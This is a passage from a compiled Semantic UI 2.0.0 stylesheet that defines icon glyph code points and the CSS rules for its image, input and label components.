{\n  content: \"\\f088\";\n}\n\ni.icon.heart.outline:before {\n  content: \"\\f08a\";\n}\n\ni.icon.log.out:before {\n  content: \"\\f08b\";\n}\n\ni.icon.thumb.tack:before {\n  content: \"\\f08d\";\n}\n\ni.icon.winner:before {\n  content: \"\\f091\";\n}\n\ni.icon.bookmark.outline:before {\n  content: \"\\f097\";\n}\n\ni.icon.phone:before {\n  content: \"\\f095\";\n}\n\ni.icon.phone.square:before {\n  content: \"\\f098\";\n}\n\ni.icon.credit.card:before {\n  content: \"\\f09d\";\n}\n\ni.icon.hdd.outline:before {\n  content: \"\\f0a0\";\n}\n\ni.icon.bullhorn:before {\n  content: \"\\f0a1\";\n}\n\ni.icon.bell:before {\n  content: \"\\f0f3\";\n}\n\ni.icon.bell.outline:before {\n  content: \"\\f0a2\";\n}\n\ni.icon.bell.slash:before {\n  content: \"\\f1f6\";\n}\n\ni.icon.bell.slash.outline:before {\n  content: \"\\f1f7\";\n}\n\ni.icon.hand.outline.right:before {\n  content: \"\\f0a4\";\n}\n\ni.icon.hand.outline.left:before {\n  content: \"\\f0a5\";\n}\n\ni.icon.hand.outline.up:before {\n  content: \"\\f0a6\";\n}\n\ni.icon.hand.outline.down:before {\n  content: \"\\f0a7\";\n}\n\ni.icon.globe:before {\n  content: \"\\f0ac\";\n}\n\ni.icon.wrench:before {\n  content: \"\\f0ad\";\n}\n\ni.icon.briefcase:before {\n  content: \"\\f0b1\";\n}\n\ni.icon.group:before {\n  content: \"\\f0c0\";\n}\n\ni.icon.flask:before {\n  content: \"\\f0c3\";\n}\n\ni.icon.sidebar:before {\n  content: \"\\f0c9\";\n}\n\ni.icon.bars:before {\n  content: \"\\f0c9\";\n}\n\ni.icon.list.ul:before {\n  content: \"\\f0ca\";\n}\n\ni.icon.list.ol:before {\n  content: \"\\f0cb\";\n}\n\ni.icon.numbered.list:before {\n  content: \"\\f0cb\";\n}\n\ni.icon.magic:before {\n  content: \"\\f0d0\";\n}\n\ni.icon.truck:before {\n  content: \"\\f0d1\";\n}\n\ni.icon.currency:before {\n  content: \"\\f0d6\";\n}\n\ni.icon.triangle.down:before {\n  content: \"\\f0d7\";\n}\n\ni.icon.dropdown:before {\n  content: \"\\f0d7\";\n}\n\ni.icon.triangle.up:before {\n  content: \"\\f0d8\";\n}\n\ni.icon.triangle.left:before {\n  content: \"\\f0d9\";\n}\n\ni.icon.triangle.right:before {\n  content: \"\\f0da\";\n}\n\ni.icon.envelope:before {\n  content: \"\\f0e0\";\n}\n\ni.icon.conversation:before {\n  content: \"\\f0e6\";\n}\n\ni.icon.lightning:before {\n  content: \"\\f0e7\";\n}\n\ni.icon.umbrella:before {\n  content: \"\\f0e9\";\n}\n\ni.icon.lightbulb:before {\n  content: \"\\f0eb\";\n}\n\ni.icon.suitcase:before {\n  content: \"\\f0f2\";\n}\n\ni.icon.bell.outline:before {\n  content: \"\\f0a2\";\n}\n\ni.icon.ambulance:before {\n  content: \"\\f0f9\";\n}\n\ni.icon.medkit:before {\n  content: \"\\f0fa\";\n}\n\ni.icon.fighter.jet:before {\n  content: \"\\f0fb\";\n}\n\ni.icon.beer:before {\n  content: \"\\f0fc\";\n}\n\ni.icon.plus.square:before {\n  content: \"\\f0fe\";\n}\n\ni.icon.computer:before {\n  content: \"\\f108\";\n}\n\ni.icon.circle.outline:before {\n  content: \"\\f10c\";\n}\n\ni.icon.intersex:before {\n  content: \"\\f10c\";\n}\n\ni.icon.asexual:before {\n  content: \"\\f10c\";\n}\n\ni.icon.spinner:before {\n  content: \"\\f110\";\n}\n\ni.icon.gamepad:before {\n  content: \"\\f11b\";\n}\n\ni.icon.star.half.full:before {\n  content: \"\\f123\";\n}\n\ni.icon.question:before {\n  content: \"\\f128\";\n}\n\ni.icon.attention:before {\n  content: \"\\f12a\";\n}\n\ni.icon.eraser:before {\n  content: \"\\f12d\";\n}\n\ni.icon.microphone:before {\n  content: \"\\f130\";\n}\n\ni.icon.microphone.slash:before {\n  content: \"\\f131\";\n}\n\ni.icon.shield:before {\n  content: \"\\f132\";\n}\n\ni.icon.target:before {\n  content: \"\\f140\";\n}\n\ni.icon.play.circle:before {\n  content: \"\\f144\";\n}\n\ni.icon.pencil.square:before {\n  content: \"\\f14b\";\n}\n\ni.icon.compass:before {\n  content: \"\\f14e\";\n}\n\ni.icon.amex:before {\n  content: \"\\f1f3\";\n}\n\ni.icon.eur:before {\n  content: \"\\f153\";\n}\n\ni.icon.gbp:before {\n  content: \"\\f154\";\n}\n\ni.icon.usd:before {\n  content: \"\\f155\";\n}\n\ni.icon.inr:before {\n  content: \"\\f156\";\n}\n\ni.icon.cny:before,\ni.icon.rmb:before,\ni.icon.jpy:before {\n  content: \"\\f157\";\n}\n\ni.icon.rouble:before,\ni.icon.rub:before {\n  content: \"\\f158\";\n}\n\ni.icon.won:before,\ni.icon.krw:before {\n  content: \"\\f159\";\n}\n\ni.icon.btc:before {\n  content: \"\\f15a\";\n}\n\ni.icon.sheqel:before,\ni.icon.ils:before {\n  content: \"\\f20b\";\n}\n\ni.icon.try:before {\n  content: \"\\f195\";\n}\n\ni.icon.zip:before {\n  content: \"\\f187\";\n}\n\ni.icon.dot.circle.outline:before {\n  content: \"\\f192\";\n}\n\ni.icon.sliders:before {\n  content: \"\\f1de\";\n}\n\ni.icon.wi-fi:before {\n  content: \"\\f1eb\";\n}\n\ni.icon.graduation:before {\n  content: \"\\f19d\";\n}\n\ni.icon.\\33d:before {\n  content: \"\\f1b2\";\n}\n\ni.icon.weixin:before {\n  content: \"\\f1d7\";\n}\n\ni.icon.binoculars:before {\n  content: \"\\f1e5\";\n}\n\ni.icon.gratipay:before {\n  content: \"\\f184\";\n}\n\ni.icon.genderless:before {\n  content: \"\\f1db\";\n}\n\ni.icon.teletype:before {\n  content: \"\\f1e4\";\n}\n\ni.icon.power.cord:before {\n  content: \"\\f1e6\";\n}\n\ni.icon.tty:before {\n  content: \"\\f1e4\";\n}\n\ni.icon.cc:before {\n  content: \"\\f20a\";\n}\n\ni.icon.ils:before {\n  content: \"\\f20b\";\n}\n\ni.icon.plus.cart:before {\n  content: \"\\f217\";\n}\n\ni.icon.arrow.down.cart:before {\n  content: \"\\f218\";\n}\n\ni.icon.detective:before {\n  content: \"\\f21b\";\n}\n\ni.icon.venus:before {\n  content: \"\\f221\";\n}\n\ni.icon.mars:before {\n  content: \"\\f222\";\n}\n\ni.icon.mercury:before {\n  content: \"\\f223\";\n}\n\ni.icon.venus.double:before {\n  content: \"\\f226\";\n}\n\ni.icon.female.homosexual:before {\n  content: \"\\f226\";\n}\n\ni.icon.mars.double:before {\n  content: \"\\f227\";\n}\n\ni.icon.male.homosexual:before {\n  content: \"\\f227\";\n}\n\ni.icon.venus.mars:before {\n  content: \"\\f228\";\n}\n\ni.icon.mars.stroke:before {\n  content: \"\\f229\";\n}\n\ni.icon.mars.alternate:before {\n  content: \"\\f229\";\n}\n\ni.icon.mars.vertical:before {\n  content: \"\\f22a\";\n}\n\ni.icon.mars.horizontal:before {\n  content: \"\\f22b\";\n}\n\ni.icon.mars.stroke.vertical:before {\n  content: \"\\f22a\";\n}\n\ni.icon.mars.stroke.horizontal:before {\n  content: \"\\f22b\";\n}\n\ni.icon.neuter:before {\n  content: \"\\f22c\";\n}\n\ni.icon.facebook.official {\n  content: \"\\f230\";\n}\n\ni.icon.pinterest.official {\n  content: \"\\f231\";\n}\n\ni.icon.bed:before {\n  content: \"\\f236\";\n}\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Image\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n             Image\n*******************************/\n\n.ui.image {\n  position: relative;\n  display: inline-block;\n  vertical-align: middle;\n  max-width: 100%;\n  background-color: transparent;\n}\n\nimg.ui.image {\n  display: block;\n}\n\n.ui.image svg,\n.ui.image img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n\n/*******************************\n            States\n*******************************/\n\n.ui.hidden.images,\n.ui.hidden.image {\n  display: none;\n}\n\n.ui.disabled.images,\n.ui.disabled.image {\n  cursor: default;\n  opacity: 0.45;\n}\n\n/*******************************\n          Variations\n*******************************/\n\n/*--------------\n     Inline\n---------------*/\n\n.ui.inline.image,\n.ui.inline.image svg,\n.ui.inline.image img {\n  display: inline-block;\n}\n\n/*------------------\n  Vertical Aligned\n-------------------*/\n\n.ui.top.aligned.images .image,\n.ui.top.aligned.image,\n.ui.top.aligned.image svg,\n.ui.top.aligned.image img {\n  display: inline-block;\n  vertical-align: top;\n}\n\n.ui.middle.aligned.images .image,\n.ui.middle.aligned.image,\n.ui.middle.aligned.image svg,\n.ui.middle.aligned.image img {\n  display: inline-block;\n  vertical-align: middle;\n}\n\n.ui.bottom.aligned.images .image,\n.ui.bottom.aligned.image,\n.ui.bottom.aligned.image svg,\n.ui.bottom.aligned.image img {\n  display: inline-block;\n  vertical-align: bottom;\n}\n\n/*--------------\n     Rounded\n---------------*/\n\n.ui.rounded.images .image,\n.ui.rounded.image,\n.ui.rounded.images .image > *,\n.ui.rounded.image > * {\n  border-radius: 0.3125em;\n}\n\n/*--------------\n    Bordered\n---------------*/\n\n.ui.bordered.images .image,\n.ui.bordered.images img,\n.ui.bordered.images svg,\n.ui.bordered.image img,\n.ui.bordered.image svg,\nimg.ui.bordered.image {\n  border: 1px solid rgba(0, 0, 0, 0.1);\n}\n\n/*--------------\n    Circular\n---------------*/\n\n.ui.circular.images,\n.ui.circular.image {\n  overflow: hidden;\n}\n\n.ui.circular.images .image,\n.ui.circular.image,\n.ui.circular.images .image > *,\n.ui.circular.image > * {\n  border-radius: 500rem;\n}\n\n/*--------------\n     Fluid\n---------------*/\n\n.ui.fluid.images,\n.ui.fluid.image,\n.ui.fluid.images img,\n.ui.fluid.images svg,\n.ui.fluid.image svg,\n.ui.fluid.image img {\n  display: block;\n  width: 100%;\n  height: auto;\n}\n\n/*--------------\n     Avatar\n---------------*/\n\n.ui.avatar.images .image,\n.ui.avatar.images img,\n.ui.avatar.images svg,\n.ui.avatar.image img,\n.ui.avatar.image svg,\n.ui.avatar.image {\n  margin-right: 0.25em;\n  display: inline-block;\n  width: 2em;\n  height: 2em;\n  border-radius: 500rem;\n}\n\n/*-------------------\n       Spaced\n--------------------*/\n\n.ui.spaced.image {\n  display: inline-block !important;\n  margin-left: 0.5em;\n  margin-right: 0.5em;\n}\n\n.ui[class*=\"left spaced\"].image {\n  margin-left: 0.5em;\n  margin-right: 0em;\n}\n\n.ui[class*=\"right spaced\"].image {\n  margin-left: 0em;\n  margin-right: 0.5em;\n}\n\n/*-------------------\n       Floated\n--------------------*/\n\n.ui.floated.image,\n.ui.floated.images {\n  float: left;\n  margin-right: 1em;\n  margin-bottom: 1em;\n}\n\n.ui.right.floated.images,\n.ui.right.floated.image {\n  float: right;\n  margin-right: 0em;\n  margin-bottom: 1em;\n  margin-left: 1em;\n}\n\n.ui.floated.images:last-child,\n.ui.floated.image:last-child {\n  margin-bottom: 0em;\n}\n\n.ui.centered.images,\n.ui.centered.image {\n  margin-left: auto;\n  margin-right: auto;\n}\n\n/*--------------\n     Sizes\n---------------*/\n\n.ui.mini.images .image,\n.ui.mini.images img,\n.ui.mini.images svg,\n.ui.mini.image {\n  width: 35px;\n  height: auto;\n  font-size: 0.71428571rem;\n}\n\n.ui.tiny.images .image,\n.ui.tiny.images img,\n.ui.tiny.images svg,\n.ui.tiny.image {\n  width: 80px;\n  height: auto;\n  font-size: 0.85714286rem;\n}\n\n.ui.small.images .image,\n.ui.small.images img,\n.ui.small.images svg,\n.ui.small.image {\n  width: 150px;\n  height: auto;\n  font-size: 0.92857143rem;\n}\n\n.ui.medium.images .image,\n.ui.medium.images img,\n.ui.medium.images svg,\n.ui.medium.image {\n  width: 300px;\n  height: auto;\n  font-size: 1rem;\n}\n\n.ui.large.images .image,\n.ui.large.images img,\n.ui.large.images svg,\n.ui.large.image {\n  width: 450px;\n  height: auto;\n  font-size: 1.14285714rem;\n}\n\n.ui.big.images .image,\n.ui.big.images img,\n.ui.big.images svg,\n.ui.big.image {\n  width: 600px;\n  height: auto;\n  font-size: 1.28571429rem;\n}\n\n.ui.huge.images .image,\n.ui.huge.images img,\n.ui.huge.images svg,\n.ui.huge.image {\n  width: 800px;\n  height: auto;\n  font-size: 1.42857143rem;\n}\n\n.ui.massive.images .image,\n.ui.massive.images img,\n.ui.massive.images svg,\n.ui.massive.image {\n  width: 960px;\n  height: auto;\n  font-size: 1.71428571rem;\n}\n\n/*******************************\n              Groups\n*******************************/\n\n.ui.images {\n  font-size: 0em;\n  margin: 0em -0.25rem 0rem;\n}\n\n.ui.images .image,\n.ui.images img,\n.ui.images svg {\n  display: inline-block;\n  margin: 0em 0.25rem 0.5rem;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Input\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n           Standard\n*******************************/\n\n/*--------------------\n        Inputs\n---------------------*/\n\n.ui.input {\n  position: relative;\n  display: -webkit-inline-box;\n  display: -webkit-inline-flex;\n  display: -ms-inline-flexbox;\n  display: inline-flex;\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.input input {\n  margin: 0em;\n  max-width: 100%;\n  -webkit-box-flex: 1;\n  -webkit-flex: 1 0 auto;\n  -ms-flex: 1 0 auto;\n  flex: 1 0 auto;\n  outline: none;\n  -webkit-tap-highlight-color: rgba(255, 255, 255, 0);\n  text-align: left;\n  line-height: 1.2142em;\n  font-family: 'Lato', 'Helvetica Neue', Arial, Helvetica, sans-serif;\n  padding: 0.67861429em 1em;\n  background: #ffffff;\n  border: 1px solid rgba(34, 36, 38, 0.15);\n  color: rgba(0, 0, 0, 0.87);\n  border-radius: 0.28571429rem;\n  -webkit-transition: background-color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;\n  transition: background-color 0.1s ease, box-shadow 0.1s ease, border-color 0.1s ease;\n  box-shadow: none;\n}\n\n/*--------------------\n      Placeholder\n---------------------*/\n\n/* browsers require these rules separate */\n\n.ui.input input::-webkit-input-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.input input::-moz-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n.ui.input input::-ms-input-placeholder {\n  color: rgba(0, 0, 0, 0.4);\n}\n\n/*******************************\n            States\n*******************************/\n\n/*--------------------\n        Active\n---------------------*/\n\n.ui.input input:active,\n.ui.input.down input {\n  border-color: rgba(0, 0, 0, 0.3);\n  background: #fafafa;\n  color: rgba(0, 0, 0, 0.87);\n  box-shadow: none;\n}\n\n/*--------------------\n       Loading\n---------------------*/\n\n.ui.loading.loading.input > i.icon:before {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  border-radius: 500rem;\n  border: 0.2em solid rgba(0, 0, 0, 0.1);\n}\n\n.ui.loading.loading.input > i.icon:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: 50%;\n  margin: -0.64285714em 0em 0em -0.64285714em;\n  width: 1.28571429em;\n  height: 1.28571429em;\n  -webkit-animation: button-spin 0.6s linear;\n  animation: button-spin 0.6s linear;\n  -webkit-animation-iteration-count: infinite;\n  animation-iteration-count: infinite;\n  border-radius: 500rem;\n  border-color: #767676 transparent transparent;\n  border-style: solid;\n  border-width: 0.2em;\n  box-shadow: 0px 0px 0px 1px transparent;\n}\n\n/*--------------------\n        Focus\n---------------------*/\n\n.ui.input.focus input,\n.ui.input input:focus {\n  border-color: rgba(34, 36, 38, 0.35);\n  background: #ffffff;\n  color: rgba(0, 0, 0, 0.8);\n  box-shadow: none;\n}\n\n.ui.input.focus input::-webkit-input-placeholder,\n.ui.input input:focus input::-webkit-input-placeholder {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.input.focus input::-moz-placeholder,\n.ui.input input:focus input::-moz-placeholder {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n.ui.input.focus input::-ms-input-placeholder,\n.ui.input input:focus input::-ms-input-placeholder {\n  color: rgba(0, 0, 0, 0.87);\n}\n\n/*--------------------\n        Error\n---------------------*/\n\n.ui.input.error input {\n  background-color: #fff6f6;\n  border-color: #e0b4b4;\n  color: #db2828;\n  box-shadow: none;\n}\n\n/* Error Placeholder */\n\n.ui.input.error input ::-webkit-input-placeholder {\n  color: rgba(255, 80, 80, 0.4);\n}\n\n.ui.input.error input ::-moz-placeholder {\n  color: rgba(255, 80, 80, 0.4);\n}\n\n.ui.input.error input ::-ms-input-placeholder {\n  color: rgba(255, 80, 80, 0.4);\n}\n\n/* Focused Error Placeholder */\n\n.ui.input.error input :focus::-webkit-input-placeholder {\n  color: rgba(255, 80, 80, 0.7);\n}\n\n.ui.input.error input :focus::-moz-placeholder {\n  color: rgba(255, 80, 80, 0.7);\n}\n\n.ui.input.error input :focus::-ms-input-placeholder {\n  color: rgba(255, 80, 80, 0.7);\n}\n\n/*******************************\n           Variations\n*******************************/\n\n/*--------------------\n      Transparent\n---------------------*/\n\n.ui.transparent.input input {\n  border-color: transparent !important;\n  background-color: transparent !important;\n  padding: 0em !important;\n  box-shadow: none !important;\n}\n\n/* Transparent Icon */\n\n.ui.transparent.icon.input > i.icon {\n  width: 1.1em;\n}\n\n.ui.transparent.icon.input > input {\n  padding-left: 0em !important;\n  padding-right: 2em !important;\n}\n\n.ui.transparent[class*=\"left icon\"].input > input {\n  padding-left: 2em !important;\n  padding-right: 0em !important;\n}\n\n/* Transparent Inverted */\n\n.ui.transparent.inverted.input {\n  color: #ffffff;\n}\n\n.ui.transparent.inverted.input input {\n  color: inherit;\n}\n\n.ui.transparent.inverted.input input::-webkit-input-placeholder {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.ui.transparent.inverted.input input::-moz-placeholder {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n.ui.transparent.inverted.input input::-ms-input-placeholder {\n  color: rgba(255, 255, 255, 0.5);\n}\n\n/*--------------------\n         Icon\n---------------------*/\n\n.ui.icon.input > i.icon {\n  cursor: default;\n  position: absolute;\n  line-height: 1;\n  text-align: center;\n  top: 0px;\n  right: 0px;\n  margin: 0em;\n  height: 100%;\n  width: 2.67142857em;\n  opacity: 0.5;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n  -webkit-transition: opacity 0.3s ease;\n  transition: opacity 0.3s ease;\n}\n\n.ui.icon.input > i.icon:not(.link) {\n  pointer-events: none;\n}\n\n.ui.icon.input input {\n  padding-right: 2.67142857em !important;\n}\n\n.ui.icon.input > i.icon:before,\n.ui.icon.input > i.icon:after {\n  left: 0;\n  position: absolute;\n  text-align: center;\n  top: 50%;\n  width: 100%;\n  margin-top: -0.5em;\n}\n\n.ui.icon.input > i.link.icon {\n  cursor: pointer;\n}\n\n.ui.icon.input > i.circular.icon {\n  top: 0.35em;\n  right: 0.5em;\n}\n\n/* Left Icon Input */\n\n.ui[class*=\"left icon\"].input > i.icon {\n  right: auto;\n  left: 1px;\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui[class*=\"left icon\"].input > i.circular.icon {\n  right: auto;\n  left: 0.5em;\n}\n\n.ui[class*=\"left icon\"].input > input {\n  padding-left: 2.67142857em !important;\n  padding-right: 1em !important;\n}\n\n/* Focus */\n\n.ui.icon.input > input:focus ~ i.icon {\n  opacity: 1;\n}\n\n/*--------------------\n        Labeled\n---------------------*/\n\n/* Adjacent Label */\n\n.ui.labeled.input > .label {\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 0 auto;\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n  margin: 0;\n  font-size: 1rem;\n}\n\n.ui.labeled.input > .label:not(.corner) {\n  padding-top: 0.78571429em;\n  padding-bottom: 0.78571429em;\n}\n\n/* Regular Label on Left */\n\n.ui.labeled.input:not([class*=\"corner labeled\"]):not([class*=\"right labeled\"]) > input {\n  border-left: none;\n  border-top-left-radius: 0px;\n  border-bottom-left-radius: 0px;\n}\n\n.ui.labeled.input:not([class*=\"corner labeled\"]):not([class*=\"right labeled\"]) > .label {\n  border-top-right-radius: 0px;\n  border-bottom-right-radius: 0px;\n}\n\n/* Regular Label on Right */\n\n.ui[class*=\"right labeled\"].input > input {\n  border-right: none;\n  border-top-right-radius: 0px !important;\n  border-bottom-right-radius: 0px !important;\n}\n\n.ui[class*=\"right labeled\"].input > .label {\n  border-top-left-radius: 0px;\n  border-bottom-left-radius: 0px;\n}\n\n/* Corner Label */\n\n.ui.labeled.input .corner.label {\n  top: 1px;\n  right: 1px;\n  font-size: 0.64285714em;\n  border-radius: 0em 0.28571429rem 0em 0em;\n}\n\n/* Spacing with corner label */\n\n.ui[class*=\"corner labeled\"]:not(.left).labeled.input input {\n  padding-right: 2.5em !important;\n}\n\n.ui[class*=\"corner labeled\"].icon.input:not(.left) > input {\n  padding-right: 3.25em !important;\n}\n\n.ui[class*=\"corner labeled\"].icon.input:not(.left) > .icon {\n  margin-right: 1.25em;\n}\n\n/* Left Labeled */\n\n.ui[class*=\"corner labeled\"].left.labeled.input input {\n  padding-left: 2.5em !important;\n}\n\n.ui[class*=\"corner labeled\"].icon.input.left > input {\n  padding-left: 3.25em !important;\n}\n\n.ui[class*=\"corner labeled\"].icon.input.left > .icon {\n  margin-left: 1.25em;\n}\n\n/* Corner Label Position  */\n\n.ui.input > .ui.corner.label {\n  top: 1px;\n  right: 1px;\n}\n\n.ui.input > .ui.left.corner.label {\n  right: auto;\n  left: 1px;\n}\n\n/*--------------------\n        Action\n---------------------*/\n\n.ui.action.input > .button,\n.ui.action.input > .buttons {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n  -webkit-box-align: center;\n  -webkit-align-items: center;\n  -ms-flex-align: center;\n  align-items: center;\n  -webkit-box-flex: 0;\n  -webkit-flex: 0 0 auto;\n  -ms-flex: 0 0 auto;\n  flex: 0 0 auto;\n}\n\n.ui.action.input > .button,\n.ui.action.input > .buttons > .button {\n  padding-top: 0.78571429em;\n  padding-bottom: 0.78571429em;\n  margin: 0;\n}\n\n/* Button on Right */\n\n.ui.action.input:not([class*=\"left action\"]) > input {\n  border-right: none;\n  border-top-right-radius: 0px !important;\n  border-bottom-right-radius: 0px !important;\n}\n\n.ui.action.input:not([class*=\"left action\"]) > .dropdown,\n.ui.action.input:not([class*=\"left action\"]) > .button,\n.ui.action.input:not([class*=\"left action\"]) > .buttons > .button {\n  border-radius: 0px;\n}\n\n.ui.action.input:not([class*=\"left action\"]) > .dropdown:last-child,\n.ui.action.input:not([class*=\"left action\"]) > .button:last-child,\n.ui.action.input:not([class*=\"left action\"]) > .buttons:last-child > .button {\n  border-radius: 0px 0.28571429rem 0.28571429rem 0px;\n}\n\n/* Button on Left */\n\n.ui[class*=\"left action\"].input > .dropdown,\n.ui[class*=\"left action\"].input > .button,\n.ui[class*=\"left action\"].input > .buttons > .button {\n  border-radius: 0px;\n}\n\n.ui[class*=\"left action\"].input > .dropdown:first-child,\n.ui[class*=\"left action\"].input > .button:first-child,\n.ui[class*=\"left action\"].input > .buttons:first-child > .button {\n  border-radius: 0.28571429rem 0px 0px 0.28571429rem;\n}\n\n.ui[class*=\"left action\"].input > input {\n  border-left: none;\n  border-top-left-radius: 0px;\n  border-bottom-left-radius: 0px;\n}\n\n/*--------------------\n       Inverted\n---------------------*/\n\n/* Standard */\n\n.ui.inverted.input input {\n  border: none;\n}\n\n/*--------------------\n        Fluid\n---------------------*/\n\n.ui.fluid.input {\n  display: -webkit-box;\n  display: -webkit-flex;\n  display: -ms-flexbox;\n  display: flex;\n}\n\n.ui.fluid.input > input {\n  width: 0px !important;\n}\n\n/*--------------------\n        Size\n---------------------*/\n\n.ui.mini.input {\n  font-size: 0.71428571em;\n}\n\n.ui.small.input {\n  font-size: 0.92857143em;\n}\n\n.ui.input {\n  font-size: 1em;\n}\n\n.ui.large.input {\n  font-size: 1.14285714em;\n}\n\n.ui.big.input {\n  font-size: 1.28571429em;\n}\n\n.ui.huge.input {\n  font-size: 1.42857143em;\n}\n\n.ui.massive.input {\n  font-size: 1.71428571em;\n}\n\n/*******************************\n         Theme Overrides\n*******************************/\n\n/*******************************\n         Site Overrides\n*******************************/\n/*!\n * # Semantic UI 2.0.0 - Label\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Copyright 2015 Contributors\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */\n\n/*******************************\n            Label\n*******************************/\n\n.ui.label {\n  display: inline-block;\n  white-space: nowrap;\n  line-height: 1;\n  vertical-align: baseline;\n  margin: 0em 0.14285714em;\n  background-color: #e8e8e8;\n  border-color: #e8e8e8;\n  background-image: none;\n  padding: 0.5833em 0.833em;\n  color: rgba(0, 0, 0, 0.6);\n  text-transform: none;\n  font-weight: bold;\n  border-radius: 0.28571429rem;\n  -webkit-transition: background 0.1s ease;\n  transition: background 0.1s ease;\n}\n\n.ui.label:first-child {\n  margin-left: 0em;\n}\n\n.ui.label:last-child {\n  margin-right: 0em;\n}\n\n/* Link */\n\na.ui.label {\n  cursor: pointer;\n}\n\n/* Inside Link */\n\n.ui.label > a {\n  cursor: pointer;\n  color: inherit;\n  opacity: 0.5;\n  -webkit-transition: 0.1s opacity ease;\n  transition: 0.1s opacity ease;\n}\n\n.ui.label > a:hover {\n  opacity: 1;\n}\n\n/* Image */\n\n.ui.label > img {\n  width: auto !important;\n  vertical-align: middle;\n  height: 2.1666em !important;\n}\n\n/* Icon */\n\n.ui.label > .icon {\n  width: auto;\n  margin: 0em 0.75em 0em 0em;\n}\n\n/* Detail */\n\n.ui.label > .detail {\n  display: inline-block;\n  vertical-align: top;\n  font-weight: bold;\n  margin-left: 1em;\n  opacity: 0.8;\n}\n\n.ui.label > .detail .icon {\n  margin: 0em 0.25em 0em 0em;\n}\n\n/* Removable label */\n\n.ui.label > .close.icon,\n.ui.label > .delete.icon {\n  cursor: pointer;\n  margin-right: 0em;\n  margin-left: 0.5em;\n  font-size: 0.92857143em;\n  opacity: 0.5;\n  -webkit-transition: background 0.1s ease;\n  transition: background 0.1s ease;\n}\n\n.ui.label > .delete.icon:hover {\n  opacity: 1;\n}\n\n/*-------------------\n       Group\n--------------------*/\n\n.ui.labels > .label {\n  margin: 0em 0.5em 0.5em 0em;\n}\n\n/*-------------------\n       Coupling\n--------------------*/\n\n.ui.header > .ui.label {\n  margin-top: -0.29165em;\n}\n\n/* Remove border radius on attached segment */\n\n.ui.attached.segment > .ui.top.left.attached.label,\n.ui.bottom.attached.segment > .ui.top.left.attached.label {\n  border-top-left-radius: 0;\n}\n\n.ui.attached.segment > .ui.top.right.attached.label,\n.ui.bottom.attached.segment > .ui.top.right.attached.label {\n  border-top-right-radius: 0;\n}\n\n.ui.top.attached.segment > .ui.bottom.left.attached.label {\n  border-bottom-left-radius: 0;\n}\n\n.ui.top.attached.segment > .ui.bottom.right.attached.label {\n  border-bottom-right-radius: 0;\n}\n\n/* Padding on next content after a label */\n\n.ui.top.attached.label:first-child + :not(.attached) {\n  margin-top: 2rem !important;\n}\n\n.ui.bottom.attached.label:first-child ~ :last-child:not(.attached) {\n  margin-top: 0em;\n  margin-bottom: 2rem !important;\n}\n\n/*******************************\n             Types\n*******************************/\n\n.ui.image.label {\n  width: auto !important;\n  margin-top: 0em;\n  margin-bottom: 0em;\n  max-width: 9999px;\n  vertical-align: baseline;\n  text-transform: none;\n  background: #e8e8e8;\n  padding: 0.5833em 0.833em 0.5833em 0.5em;\n  border-radius: 0.28571429rem;\n  box-shadow: none;\n}\n\n.ui.image.label img {\n  display: inline-block;\n  vertical-align: top;\n  height: 2.1666em;\n  margin: -0.5833em 0.5em -0.5833em -0.5em;\n  border-radius: 0.28571429rem 0em 0em 0.28571429rem;\n}\n\n.ui.image.label .detail {\n  background: rgba(0, 0, 0, 0.1);\n  margin: -0.5833em -0.833em -0.5833em 0.5em;\n  padding: 0.5833em 0.833em;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n/*-------------------\n         Tag\n--------------------*/\n\n.ui.tag.labels .label,\n.ui.tag.label {\n  margin-left: 1em;\n  position: relative;\n  padding-left: 1.5em;\n  padding-right: 1.5em;\n  border-radius: 0em 0.28571429rem 0.28571429rem 0em;\n}\n\n.ui.tag.labels .label:before,\n.ui.tag.label:before {\n  position: absolute;\n  -webkit-transform: translateY(-50%) translateX(50%) rotate(-45deg);\n  -ms-transform: translateY(-50%) translateX(50%) rotate(-45deg);\n  transform: translateY(-50%) translateX(50%) rotate(-45deg);\n  top: 50%;\n  right: 100%;\n  content: '';\n  background-color: #e8e8e8;\n  background-image: none;\n  width: 1.56em;\n  height: 1.56em;\n  -webkit-transition: background 0.1s ease;\n  transition: background 0.1s ease;\n}\n\n.ui.tag.labels .label:after,\n.ui.tag.label:after {\n  position: absolute;\n  content: '';\n  top: 50%;\n  left: -0.25em;\n  margin-top: -0.25em;\n  background-color: #ffffff !important;\n  width: 0.5em;\n  height: 0.5em;\n  box-shadow: 0 -1px 1px 0 rgba(0, 0, 0, 0.3);\n  border-radius: 500rem;\n}\n\n/*-------------------\n    Corner Label\n--------------------*/\n\n.ui.corner.label {\n  position: absolute;\n  top: 0em;\n  right: 0em;\n  margin: 0em;\n  padding: 0em;\n  text-align: center;\n  width: 4em;\n  height: 4em;\n  